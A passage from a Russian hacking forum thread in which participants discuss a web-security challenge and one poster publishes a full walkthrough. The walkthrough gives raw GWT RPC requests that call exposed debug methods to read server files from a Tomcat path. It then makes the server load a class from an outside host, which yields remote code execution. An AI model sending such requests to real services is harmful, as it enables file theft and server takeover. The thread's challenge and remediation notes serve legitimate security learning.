Старый 30.12.2010, 15:34   #11
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

Нужно декомпилировать.
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием
Старый 30.12.2010, 17:05   #12
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Цитата:
Сообщение от bloodAngel Посмотреть сообщение
интересно , но тоже нуль((проверяю на фильтрацию символов - в правильном направлении двигаюсь? Раскрытие данных тож безрезультатно пока((
В лоб не решится Попробуй разобраться с чем ты имеешь дело.
__________________
Мой блог: http://qwazar.ru/.
Qwazar вне форума   Ответить с цитированием
Старый 30.12.2010, 20:47   #13
SeNaP
 
Аватар для SeNaP
 
Регистрация: 03.08.2010
Сообщений: 152
Репутация: 10
По умолчанию

Подскажите, в какую сторону капать?
SeNaP вне форума   Ответить с цитированием
Старый 31.12.2010, 14:29   #15
M_script
 
Регистрация: 06.07.2010
Сообщений: 113
Репутация: 33
По умолчанию

Вторая часть оказалась проще =)
Может кому-нибудь пригодится при прохождении - онлайн-компилятор, чтобы JDK не качать.
M_script вне форума   Ответить с цитированием
Старый 10.01.2011, 01:28   #16
M1lten
 
Регистрация: 02.12.2010
Сообщений: 40
Репутация: -1
По умолчанию

Нашел какой-то файл с огромным кодом... Точнее не 1.. Вникать уже сил нет .. Я в правильном направлении двигаюсь?
M1lten вне форума   Ответить с цитированием
Старый 11.01.2011, 21:22   #17
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию Прохождение

Прохождение:

1) При помощи сниффера получаем список урл которые грузятся при получении документа.

2) Смотрим http://46.4.187.243:8080/gwtest/E91EB153AC7ADBBD499D53A614E091A8.cache.html (файл будет называться иначе), запоминаем что есть такой файл с горой javascript кода внутри.

3) Отправляем из интерфейса единственно возможный запрос на сервер, снифаем, смотрим тело запроса:
6|0|6|http://46.4.187.243:8080/gwtest/|5611ED2367F632E5CBDBAEDFCA449E85|com.qwazar.gwtest.client.GreetingService|greetServer|java.lang.String/2004016611|GWT User|1|2|3|4|1|5|6|

4) Осознаём (погуглив о гвтшном RMI, или просто осознав), что в запросе светятся (выделено жирным): имя класса чей метод вызывается (com.qwazar.gwtest.client.GreetingService), имя вызываемого метода (greetServer), тип параметра передаваемого методу (java.lang.String), значение этого параметра (GWT User).
Находим в E91EB153AC7ADBBD499D53A614E091A8.cache.html список всех доступных для доступа извне методов (для greetServer код вызова выглядит так):
PHP код:
append(streamWriter.encodeBuffer'' $addString(streamWriter'com.qwazar.gwtest.client.GreetingService'));
append(streamWriter.encodeBuffer'' $addString(streamWriter'greetServer'));
append(streamWriter.encodeBuffer'1');
append(streamWriter.encodeBuffer'' $addString(streamWriter'java.lang.String/2004016611'));
append(streamWriter.encodeBuffer'' $addString(streamWriterinput)); 
Обращаем внимание, что так же удалённо можно вызвать com.qwazar.gwtest.client.GreetingService.loadClass (java.lang.String)
С дефолтным параметром file:/var/lib/tomcat6/webapps/ROOT/ .
И com.qwazar.gwtest.client.GreetingService.readFile( java.lang.String) с дефолтным параметром /var/lib/tomcat6/webapps/ROOT/debug.txt.

5) Используя readFile и путь вычитываем с сервера исходные коды приложения, при помощи запроса:
6|0|6|http://46.4.187.243:8080/gwtest/|5611ED2367F632E5CBDBAEDFCA449E85|com.qwazar.gwtes t.client.GreetingService|readFile|java.lang.String/2004016611|/var/lib/tomcat6/webapps/ROOT/WEB-INF/classes/com/qwazar/gwtest/client/GreetingService.class|1|2|3|4|1|5|6|

6) Декомпилируем. Первая часть задания пройдена.

7) Осознаём, что мы использовали только метод readFile, а есть ещё loadClass. Вызываем с дефолтным параметром, получаем ответ:
//OK[1,["Class ReadTest loaded from directory file:/var/lib/tomcat6/webapps/ROOT/\r\n Result: In ReadTest"],0,6]

8) Осознаём, что из директории /var/lib/tomcat6/webapps/ROOT/ был вызван какой-то метод класса ReadTest.

9) Скачиваем этот класс, смотрим какой метод вызывается. Видим что класс содержит один метод main(String), который как раз и возвращает: In ReadTest

10) Создаём свой класс с именем ReadTest и методом main(String):
PHP код:
class ReadTest {
 
String main(String a) {
  Return 
System.getProperty(“os.name”);
 }

11) Компилируем. Кладём его в папку на свом сервере, вызываем:
6|0|6|http://46.4.187.243:8080/gwtest/|5611ED2367F632E5CBDBAEDFCA449E85|com.qwazar.gwtes t.client.GreetingService|loadClass|java.lang.Strin g/2004016611|http://myserver/|1|2|3|4|1|5|6|

12) Получаем результат: //OK[1,["linux "],0,6]


Обыгрываемые ошибки:
1) Частая ошибка программистов, когда извне оказываются доступны методы объекта, доступ к которым должен быть ограничен только серверной частью. (Неправильная инкапсуляция, забытые дебаг методы и т.д. и т.п.)
2) Неправильная конфигурация сервера Apache Tomcat, когда разрешён доступ ко всем внешним серверам без особой необходимости.
Пример неверной конфигурации: permission java.net.SocketPermission "*:80","connect,accept,listen,resolve";

Выложил конфиг сервера:
http://46.4.187.243:8080/04webapps.policy

Материал для изучения:
1) http://www.owasp.org/images/7/77/Att...eb_Toolkit.ppt
2) http://code.google.com/intl/ru-RU/we...gProjects.html
__________________
Мой блог: http://qwazar.ru/.
Qwazar вне форума   Ответить с цитированием
Старый 12.01.2011, 11:22   #18
Svet
 
Аватар для Svet
 
Регистрация: 11.09.2010
Сообщений: 172
Репутация: 42
По умолчанию

Qwazar, да.. есть чему поучиться. А догадку надо еще качать и качать)
Svet вне форума   Ответить с цитированием
Старый 12.01.2011, 15:56   #19
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Погуглить просто хорошеньки 'gwt vuln' надо было и поизучать =)
tex вне форума   Ответить с цитированием
Старый 16.01.2011, 11:38   #20
YuNi|[c
 
Аватар для YuNi|[c
 
Регистрация: 03.01.2011
Сообщений: 86
Репутация: 0
По умолчанию

эмм дошел до 6ой стадии и завис в декомпиляции (
YuNi|[c вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot